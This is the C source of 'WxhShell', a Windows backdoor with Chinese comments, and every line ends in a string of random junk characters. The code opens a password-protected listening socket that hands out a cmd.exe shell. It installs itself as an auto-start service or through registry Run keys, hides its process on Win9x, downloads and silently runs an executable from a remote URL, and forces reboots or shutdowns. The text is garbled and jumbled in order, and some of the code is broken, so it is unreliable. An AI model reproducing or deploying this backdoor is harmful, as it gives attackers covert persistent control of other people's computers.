    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S-rqrbr|AT  
    if(Boot(SHUTDOWN)) tJwF h6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l#~Fe D  
    else { 40#KcbMa|  
    closesocket(wsh); 7 YK+TGmU^  
    ExitThread(0); Nu_ w@T\l  
    } G wW#Ww;Oc  
    break; kQ#eWk J,  
    } *c AoE l  
  // 获取shell `>sqP aD  
  case 's': { DYWC]*  
    CmdShell(wsh); 4iLU "~  
    closesocket(wsh); iO!lG  
    ExitThread(0); ,{Ab=xV  
    break; ]~qN<x  
  } 6 gKOpa  
  // 退出 z$Nk\9wm  
  case 'x': { kH&ZPAI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fjWh}w8  
    CloseIt(wsh); gNqV>p  
    break; 2 YN` :"  
    } FvJSJ.;E,  
  // 离开 GBphab|  
  case 'q': { {;4PP463  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Qi[D&47XO  
    closesocket(wsh); t<|s &  
    WSACleanup(); .u*].As=  
    exit(1); 'u3+k.  
    break; ? w?k-v  
        } `{wku@  
  } kW!:bh  
  } =P#!>*\ar  
*(`.h\+  
  // 提示信息 %f-<ol  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $dnHUBB  
} Nb#7&_f=  
  } WsV3>=@f  
) ,hj7  
  return; \Zv =?\  
} .]e6TFsrO  
btF%}<o)  
// shell模块句柄 _Y|kX2l S@  
int CmdShell(SOCKET sock) cik@QN<[0  
{ V[I<9xaE  
STARTUPINFO si; -$)Et|  
ZeroMemory(&si,sizeof(si)); A C^[3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H n!vTB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^ <VE5OM  
PROCESS_INFORMATION ProcessInfo; z`5I 1#PVA  
char cmdline[]="cmd"; cA%U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Zd(d]M_x  
  return 0; ^d9raYE`'  
} gkz#kiGF  
:(b3)K  
// 自身启动模式 8e@JvAaa$  
int StartFromService(void) 7S2F^,w  
{ |+:ZO5FaO  
typedef struct Mak9qaWqF>  
{ BZ<z@DJp  
  DWORD ExitStatus; G zXP  
  DWORD PebBaseAddress; ]'h)7  
  DWORD AffinityMask; #5C3S3e=  
  DWORD BasePriority; M0zD)@  
  ULONG UniqueProcessId; W`'|&7~  
  ULONG InheritedFromUniqueProcessId; V 3]p3  
}   PROCESS_BASIC_INFORMATION; WHZng QmY  
^.C X6%  
PROCNTQSIP NtQueryInformationProcess; 'r n;|K  
.:ZXtU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &iOtw0E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Hm* vKFhz  
L||yQH7n  
  HANDLE             hProcess; ZY!pw6R1>*  
  PROCESS_BASIC_INFORMATION pbi; IJc#)J.2A  
_~nex,;r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R{o*O_qX  
  if(NULL == hInst ) return 0; #@6L|$iX  
c2\vG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )Zf}V0!?+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `7%eA9*.m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E@jl: -*E  
NoAb}1uae  
  if (!NtQueryInformationProcess) return 0; Z{ Zox[/  
G^ZkY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &8AS=v  
  if(!hProcess) return 0; un^IQMIh  
_O;~ }N4u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fJw=7t-t  
lq8ko@  
  CloseHandle(hProcess); /eRtj:9M  
DsW`V~ T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8Qz7uPq  
if(hProcess==NULL) return 0; RpK,ixbtA+  
7 3z Y^ x  
HMODULE hMod; 9H}iX0O  
char procName[255]; `VFl|o#H  
unsigned long cbNeeded; ZU.)K>'  
!-RpRRR[Co  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pd>a6 lI`  
~R@m!'I k  
  CloseHandle(hProcess); :/[YY?pg-  
: |*,Lwvd  
if(strstr(procName,"services")) return 1; // 以服务启动 sHTePEJ_h  
w52HN;Jm  
  return 0; // 注册表启动 DYKV54\ue  
} eAYW%a  
&#oZ>`Qu  
// 主模块 )4)iANH?  
int StartWxhshell(LPSTR lpCmdLine) `;qv}  
{ xFm{oJ!]&  
  SOCKET wsl; +Q!xEfpO;  
BOOL val=TRUE; SxW}Z_8x  
  int port=0; p@8^gc  
  struct sockaddr_in door; ]t*P5  
l6B^sc*@  
  if(wscfg.ws_autoins) Install(); gqdB!l4  
=E}%>un  
port=atoi(lpCmdLine); `{|}LFS>  
&Y>~^$`J  
if(port<=0) port=wscfg.ws_port; jbhJ;c:  
R`C_CsXir  
  WSADATA data; "">fn(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %cr]ZR  
PDq}Tq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8P<UO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9MtJo.A  
  door.sin_family = AF_INET; /IJ9_To  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FX|lhwmc(  
  door.sin_port = htons(port); KpbZnW}g  
=7]Q6h@X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aBVEk2 p  
closesocket(wsl); : 9?Cm`  
return 1; ,Z*3,/a  
} @2~O^5[>  
-m'3L7:  
  if(listen(wsl,2) == INVALID_SOCKET) { jdg ~!<C  
closesocket(wsl); &Rl3y\ r  
return 1; [5p7@6:$u  
} KG-k$glD  
  Wxhshell(wsl); ^8-~@01.`_  
  WSACleanup(); \, %o>M'  
QVG0>,+}$  
return 0; ;c m wh<  
spU!t-n67  
} J'\eS./w|  
%I|+_ z&x  
// 以NT服务方式启动 vBnKu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $XQ;~i   
{ q:- ]d0B+  
DWORD   status = 0; l q\'  
  DWORD   specificError = 0xfffffff; F'UguC">  
Z}K.^\S9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,+NE:_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tgvpf /cQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bco[L@6G$  
  serviceStatus.dwWin32ExitCode     = 0; y800(z  
  serviceStatus.dwServiceSpecificExitCode = 0; nT@6g|!  
  serviceStatus.dwCheckPoint       = 0; =8$0$d  
  serviceStatus.dwWaitHint       = 0; kHJDX;  
PK 2Rj%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wKi}@|0[@  
  if (hServiceStatusHandle==0) return; }KD7 Y  
4l%?mvA^m  
status = GetLastError(); v`_i1h9p{  
  if (status!=NO_ERROR) .e FOfV)  
{ JhhUg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Oa.f~|  
    serviceStatus.dwCheckPoint       = 0; #GY&$8.u*  
    serviceStatus.dwWaitHint       = 0; 38*'8=Y#>  
    serviceStatus.dwWin32ExitCode     = status; $&xuVBs   
    serviceStatus.dwServiceSpecificExitCode = specificError; ||'i\X|[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N[a ljC-R  
    return; \=EY@ *=  
  } [DotS\p!z  
u>t|X}JH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @`IXu$Wm(  
  serviceStatus.dwCheckPoint       = 0; ;o_V!< $  
  serviceStatus.dwWaitHint       = 0; gI^L 9jE7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (DG@<K,6  
} w;yiX<t<  
kyRh k\X  
// 处理NT服务事件,比如:启动、停止 %0+h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <=)D=Ax/_[  
{ 3XApY'  
switch(fdwControl) \tiUE E|k  
{ TXd5v#_vo  
case SERVICE_CONTROL_STOP: B8cBQv  
  serviceStatus.dwWin32ExitCode = 0; )]c]el@y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LXh@o1  
  serviceStatus.dwCheckPoint   = 0; L@1,7@  
  serviceStatus.dwWaitHint     = 0; J$6-c' 8  
  { `N|U"s;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nJtEUVMt  
  } ih+*T1#:(  
  return; IFd )OZ5  
case SERVICE_CONTROL_PAUSE: Xq8uY/j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  !fQJL   
  break;  .6O52E  
case SERVICE_CONTROL_CONTINUE: [):{5hMA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 97qtJ(ESI  
  break; 5"-una>D  
case SERVICE_CONTROL_INTERROGATE: } * ?n?'  
  break; h*;g0QBkl  
}; b(P HZCy#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sk6b`W7$  
} ;mf4 U85  
=_$XP   
// 标准应用程序主函数 dN$ 1$B^k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qYgwyj=4  
{ kfMhw M8kP  
QHHW(InG<  
// 获取操作系统版本 ZdE>C   
OsIsNt=GetOsVer(); a)3O? Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Vl5SL{+D  
5cyddlaat  
  // 从命令行安装 o }9M`[  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2Ueq6IuQ  
u @{E{  
  // 下载执行文件 '}U_D:o.b  
if(wscfg.ws_downexe) { xoqiRtlY:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p{iG{  
  WinExec(wscfg.ws_filenam,SW_HIDE); @k=cN>ZMc  
} D+@-XU<Lp<  
5kGxhD  
if(!OsIsNt) { =y)p>3p}&  
// 如果时win9x,隐藏进程并且设置为注册表启动 F^ I\X  
HideProc(); $q Zc!Qc  
StartWxhshell(lpCmdLine); ^=eq .(>  
} LYd}w(}  
else 9 9Ba{qj  
  if(StartFromService()) !MZ+-dpK  
  // 以服务方式启动 Z~r[;={,  
  StartServiceCtrlDispatcher(DispatchTable); G{@C"H[$<  
else :7 qqjs  
  // 普通方式启动 AuoxZ?V  
  StartWxhshell(lpCmdLine); DJm oW  
ayV6m  
return 0; ;;ER"N  
} "KMLk  
jrIA]K6  
`^v4zWDK  
S304ncS|M  
=========================================== Hze-Ob8  
G 6Wx3~  
( MB`hk-d  
M (+.$uz  
o .l;: Un  
c5X`_  
" q:vz?G  
1*Sr5N[=  
#include <stdio.h> . _1jk  
#include <string.h> g d z  
#include <windows.h> .CVUEK@Z4  
#include <winsock2.h> k1wCa^*gc  
#include <winsvc.h> "e~k-\^Y  
#include <urlmon.h> S3SV.C:z>  
'I&|1I^  
#pragma comment (lib, "Ws2_32.lib") |J:$MX~  
#pragma comment (lib, "urlmon.lib") RS'} nY}  
HR;/Br  
#define MAX_USER   100 // 最大客户端连接数 uA~YRKer  
#define BUF_SOCK   200 // sock buffer y)6,0K {k  
#define KEY_BUFF   255 // 输入 buffer sT)6nV  
,VAp>x+O  
#define REBOOT     0   // 重启 GtF2@\  
#define SHUTDOWN   1   // 关机 UE^D2u  
+AB6lv  
#define DEF_PORT   5000 // 监听端口 rFhW^fP/  
3AK(dC[ri  
#define REG_LEN     16   // 注册表键长度 1<`9HCm  
#define SVC_LEN     80   // NT服务名长度 w|=gSC-o  
N6h1|_o  
// 从dll定义API 6MuWlCKF8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +W6Hva.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,*7H|de7   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Am=wEu[b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \@i=)dA  
=K :(&6f<t  
// wxhshell配置信息 \ZS\i4  
struct WSCFG { [!G)$<  
  int ws_port;         // 监听端口 4RhR[  
  char ws_passstr[REG_LEN]; // 口令 +)gGs# 2X  
  int ws_autoins;       // 安装标记, 1=yes 0=no Wdo#?@m  
  char ws_regname[REG_LEN]; // 注册表键名 ,E&Bn8L~O  
  char ws_svcname[REG_LEN]; // 服务名 u,f A!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v51EXf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U| 8[#@r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 So#dJ>   
int ws_downexe;       // 下载执行标记, 1=yes 0=no iSlFRv?a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o w2$o\hC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =HMmrmz:  
gC`)]*'tE  
}; 1  o|T  
X:_<Y_JT  
// default Wxhshell configuration N<(HPE};  
struct WSCFG wscfg={DEF_PORT, /KAlK5<  
    "xuhuanlingzhe", ?yp0$r/  
    1, ^;zWWg/d  
    "Wxhshell", en>9E.?N  
    "Wxhshell", s;J\Kc?"|  
            "WxhShell Service", ]c}=5m/  
    "Wrsky Windows CmdShell Service", ymtd>P"  
    "Please Input Your Password: ", :7\9xH  
  1, rR]-RX(  
  "http://www.wrsky.com/wxhshell.exe", >D ne? 8r  
  "Wxhshell.exe" Z v4<b  
    }; !h>D;k6 e  
~Eq\DK  
// 消息定义模块 ]M3# 3Ha"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {rC~ P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S8%n.<OB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ib1e#M3  
char *msg_ws_ext="\n\rExit."; h~w4, T  
char *msg_ws_end="\n\rQuit."; W (`c  
char *msg_ws_boot="\n\rReboot..."; azo0{`S?  
char *msg_ws_poff="\n\rShutdown..."; < A?<N?%o  
char *msg_ws_down="\n\rSave to "; snYr9O[E6  
Q2eXK[?*  
char *msg_ws_err="\n\rErr!"; kJkxx*:u  
char *msg_ws_ok="\n\rOK!"; t8& q9$  
Jf)3< ~G  
char ExeFile[MAX_PATH]; :tM?%=Q  
int nUser = 0; b{RqwV5P  
HANDLE handles[MAX_USER]; fYBH)E  
int OsIsNt; ~GG?GB  
Gy!P,a)z  
SERVICE_STATUS       serviceStatus; 55-D\n<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,-'4L9  
wVqd$nsY"  
// 函数声明 [9V]On  
int Install(void); F}U5d^!2  
int Uninstall(void); Fc8E Y*  
int DownloadFile(char *sURL, SOCKET wsh); JDv-O&]  
int Boot(int flag); ?+r!z  
void HideProc(void); $b>}C= gt  
int GetOsVer(void); HM&1y ubh#  
int Wxhshell(SOCKET wsl); MdC<4^|  
void TalkWithClient(void *cs); =XT)J6z^"  
int CmdShell(SOCKET sock); TY.FpW  
int StartFromService(void); ,=o0BD2q  
int StartWxhshell(LPSTR lpCmdLine); e7xj_QH  
bU`=*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v7IzDz6gF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SMoz:J*Q(  
f-g1[!"F  
// 数据结构和表定义 X \f[  
SERVICE_TABLE_ENTRY DispatchTable[] = @u) 'yS  
{ B8m_'!;;  
{wscfg.ws_svcname, NTServiceMain}, H{V)g  
{NULL, NULL} VXm[-  
}; wqD5d   
\iU]s\{).  
// 自我安装 Y)XvlfJ,h?  
int Install(void) >t3'_cBC!  
{ g:<?  
  char svExeFile[MAX_PATH]; alm- r-Kb3  
  HKEY key; 8$vK5Dnn8  
  strcpy(svExeFile,ExeFile); `qiQ$kz  
gUVn;_  
// 如果是win9x系统,修改注册表设为自启动 +l?; )  
if(!OsIsNt) { 9`"DFFSMS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f: xWu-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dvjTyX  
  RegCloseKey(key); *8)2iv4[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W f@t4(i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~]WVG@-  
  RegCloseKey(key); ,P6=~q3k  
  return 0; aMK~1]Cx  
    } 5HlWfD  
  } ksWSMxm  
} [vTMS2  
else { q0O&UE)6Y  
lKKERO5+  
// 如果是NT以上系统,安装为系统服务 'r+PH*Mr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @Bs0Avj.  
if (schSCManager!=0) 4h|dHXYZ  
{ _+w/ pS`M  
  SC_HANDLE schService = CreateService %f&< wC  
  ( .Q&rfH3  
  schSCManager, I,O#X)O|i  
  wscfg.ws_svcname, /#S>sOg2xq  
  wscfg.ws_svcdisp, PlCc8Zy  
  SERVICE_ALL_ACCESS, ~`eHHgX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , } /e`v6  
  SERVICE_AUTO_START, N4UM82N  
  SERVICE_ERROR_NORMAL, 9z ?7{2C  
  svExeFile, c ~F dx  
  NULL, naNyGE7)  
  NULL, TJy4<rb  
  NULL, }$g mK  
  NULL, M>l^%`  
  NULL R,Oe$J<  
  ); {6 .o=EyM{  
  if (schService!=0) \cuS>G  
  { ULBg {e?l8  
  CloseServiceHandle(schService); UQT'6* !  
  CloseServiceHandle(schSCManager); .q;ED`G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Hl7:*]l7b  
  strcat(svExeFile,wscfg.ws_svcname); |L:Cn J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zAScRg$:?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >V;,#5F_  
  RegCloseKey(key); qv+R:YYOq  
  return 0; Bjj<\8 ^M  
    } UUtbD&\  
  } NZXjE$<Vr  
  CloseServiceHandle(schSCManager); Lz4eh WntO  
} Bw< rp-  
} Z1,gtl ?  
Hs0pW5oZ  
return 1; >q7 %UK]&  
} 68t}w^=  
j+^L~, S  
// 自我卸载 )\ 0F7Z  
int Uninstall(void) c[cAUsk i  
{ |4b)>8TL/  
  HKEY key; I mym+  
R+=a`0_S  
if(!OsIsNt) { #y; yN7W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BW Uq%o,@g  
  RegDeleteValue(key,wscfg.ws_regname); G'#41>q+  
  RegCloseKey(key); g9mG`f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l]#!+@  
  RegDeleteValue(key,wscfg.ws_regname); '$m7ft}  
  RegCloseKey(key); 8i 0  
  return 0; hW 2.8f$  
  } &M"ouy Zo9  
} wH6u5*$p  
} ]=&L_(34  
else { z,f=}t[.Y  
F $yO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IazkdJX~  
if (schSCManager!=0) Vk}49O<K/  
{ ;vp\YIeX1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SUdm 0y  
  if (schService!=0) >Da~Q WW|  
  { M##';x0  
  if(DeleteService(schService)!=0) { e!x6bR9EZ  
  CloseServiceHandle(schService); {aj/HFLNY  
  CloseServiceHandle(schSCManager); %c/^_.  
  return 0; V1bh|+o9  
  } |V&G81sM  
  CloseServiceHandle(schService); 1dG06<!  
  } B~gV'(9g  
  CloseServiceHandle(schSCManager); yTAvF\s$(  
} hWEnn=BW  
} H{`{)mS  
KL3<Iz]  
return 1; y?z\L   
} \0*l,i1&  
XGs^rIf  
// 从指定url下载文件 &Cro2|KZhG  
int DownloadFile(char *sURL, SOCKET wsh) zg}YGu|J  
{ 1'KishHK=  
  HRESULT hr; YUkud2,j  
char seps[]= "/"; ?y7w}W  
char *token; 3<(q }  
char *file; >Hwc,j q  
char myURL[MAX_PATH]; LtKB v 4  
char myFILE[MAX_PATH]; 6m`{Z`c$  
zCe/Kukvy  
strcpy(myURL,sURL); Ok H\^  
  token=strtok(myURL,seps); grcbH  
  while(token!=NULL) \cySWP[  
  { 'fW#7W  
    file=token; Ka-p& Uv1<  
  token=strtok(NULL,seps); `~F5 wh~  
  } Plo,XU  
$aP(|!g  
GetCurrentDirectory(MAX_PATH,myFILE); .YcN S%  
strcat(myFILE, "\\"); vzR=>0#  
strcat(myFILE, file); j$@tK0P  
  send(wsh,myFILE,strlen(myFILE),0); `rFAZcEj%  
send(wsh,"...",3,0); mP}#Ccji?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Np,2j KF(  
  if(hr==S_OK) =,/D/v$m'2  
return 0; #$1$T  
else 4E3g,%9u  
return 1; ecHP &Z$  
Wk7WK` >i  
} #G;X' BN  
q~Jq/E"f  
// 系统电源模块 SS3-+<z  
int Boot(int flag) p+w8$8)  
{ .b>TK  
  HANDLE hToken;  v[,Src  
  TOKEN_PRIVILEGES tkp; <@#PF$!  
2C "=!'  
  if(OsIsNt) { M<`|CVl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d,F5:w&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #@//7Bf%  
    tkp.PrivilegeCount = 1; $:vkX   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QZYU0; VF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *Xr$/N  
if(flag==REBOOT) { zK5bO= 0j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .{so  
  return 0; 1mW%  
} hu@7?f_"L/  
else { 9f+RAN(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1:NS}r+>3.  
  return 0; - r#K#v3  
} :L$4*8@`+  
  } ujzW|HW^v  
  else {  Y7Gs7  
if(flag==REBOOT) { <Oz66bTze  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W|R-J  
  return 0; ,=By$.rr'  
} T@ 48qg  
else { q)I|2~Q c^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2CLB1  
  return 0; GjQfi'vCk  
} %}qbkkZ  
} 8l)  
j6>tH"i  
return 1; %_f;G+fK\p  
} .9M.|  
U[8{_h<#  
// win9x进程隐藏模块 fE25(wCz7  
void HideProc(void) CZ=0mWfF  
{ Z9 w:&oa@  
Pl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b1^cD6sT+  
  if ( hKernel != NULL ) RU_L<Lpi  
  { &RY)o^g[4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "JhimgwvY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F!g;A"?V  
    FreeLibrary(hKernel); w~@[ r4W  
  }  s>[{}7ca  
p@I9< ^"  
return; h)dRR_  
} P_Uutn~  
=*MR(b>  
// 获取操作系统版本 vr IV%l=  
int GetOsVer(void) 2*OxA%QELM  
{ 8z T0_vw  
  OSVERSIONINFO winfo; &3DK^|Lq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]Yz'8uts  
  GetVersionEx(&winfo); !#WqA9<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \ TL82H@D  
  return 1; k0ItG?Cv  
  else *\ECf .7jz  
  return 0; ExrY>*v  
} 6 =>G#  
! D1zXXq  
// 客户端句柄模块 !nw [  
int Wxhshell(SOCKET wsl) YoSQN/Z  
{ @ss):FwA  
  SOCKET wsh; +R\~3uj[7  
  struct sockaddr_in client; |63Y >U"  
  DWORD myID; Bc ^4 T1  
z`#_F}v,m/  
  while(nUser<MAX_USER) 5~}!@yzc  
{ nNR:cG fG  
  int nSize=sizeof(client); 3M N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8hB.fau  
  if(wsh==INVALID_SOCKET) return 1; 80&D""  
"$)yB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #7W.s!#}Dd  
if(handles[nUser]==0) 2d&^Sp&11  
  closesocket(wsh); 0XIxwc0Iw  
else I'InZ0J2  
  nUser++; AQh["1{yJ  
  } H1T~u{8j}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K H}t:m+h  
uPDaq ]A  
  return 0; VS`Z_Xn  
} gCV rC  
0wvU?z%WK  
// 关闭 socket JDhwN<0R  
void CloseIt(SOCKET wsh) 9d\N[[Vu]R  
{ L82NP)St  
closesocket(wsh); x# 8IZ  
nUser--; h48 bb.p2  
ExitThread(0); 5 ,ZRP'oI  
} g :i*O^c @  
t)(v4^T  
// 客户端请求句柄 JQT4N[rEE  
void TalkWithClient(void *cs) }x0Z( `  
{ sU%" azc  
eH[y[~r  
  SOCKET wsh=(SOCKET)cs; fsI`DjKi)  
  char pwd[SVC_LEN]; .@K#U52  
  char cmd[KEY_BUFF]; i./Y w  
char chr[1]; 065A?KyD  
int i,j; cx:jUsb6  
rWe 8D/oc  
  while (nUser < MAX_USER) { SALCuo"L  
{ _X#fq0}  
if(wscfg.ws_passstr) { jt%WPkY:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "1%*'B^}bw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cYD1~JX.  
  //ZeroMemory(pwd,KEY_BUFF); `~E<Sf<M  
      i=0; 5f3!NeI  
  while(i<SVC_LEN) { *a4 b  
:SeLkQC  
  // 设置超时 V8v,jS$l4  
  fd_set FdRead; v>k b^38  
  struct timeval TimeOut; 6`j<l5-h  
  FD_ZERO(&FdRead); yu_gNro L  
  FD_SET(wsh,&FdRead); +/_!P;I  
  TimeOut.tv_sec=8; 4 Q&mC"  
  TimeOut.tv_usec=0; !Bncx`pl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i*A$SJ:}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^Kum%<[i  
UP*yeT,P,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u[J7Y  
  pwd=chr[0]; Y-7.Vjt^  
  if(chr[0]==0xd || chr[0]==0xa) { Tvrc%L(]  
  pwd=0; P.1Qc)m4  
  break; d!!3"{'  
  } + 1f{_v  
  i++; auoA   
    } L]NYYP-  
3H <`Z4;  
  // 如果是非法用户,关闭 socket gQCC>8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C=EhY+5  
} 8fEAYRGd  
c0hdLl;5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JrxP,[qJG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N$ *>suQ,  
1W7 iip,  
while(1) { 6(sfpK'  
ugRV5bUk  
  ZeroMemory(cmd,KEY_BUFF); KZ @l/s  
nu(eLUU  
      // 自动支持客户端 telnet标准   K1 6s)S'  
  j=0; EK.c+Or,  
  while(j<KEY_BUFF) { r 3?5'S`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ; ?j~8  
  cmd[j]=chr[0]; qG*_w RF  
  if(chr[0]==0xa || chr[0]==0xd) { `F@f?*s:  
  cmd[j]=0; yT2vO_rH  
  break; "rf\' 9=  
  } GMyoSe%1/  
  j++; {AtfK>D  
    } su%Z{f)#  
_"`uqW79  
  // 下载文件 H8x:D3C0  
  if(strstr(cmd,"http://")) { f`bIQ9R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )/ n29]  
  if(DownloadFile(cmd,wsh)) 0-lPhnrp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n *Q4G}p  
  else W>VAbm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0L 7@2|a0  
  } ( / G)"]  
  else { .v$ue`  
IcO9V<Q|  
    switch(cmd[0]) { &0FpP&Z(  
  VQ/ <09e  
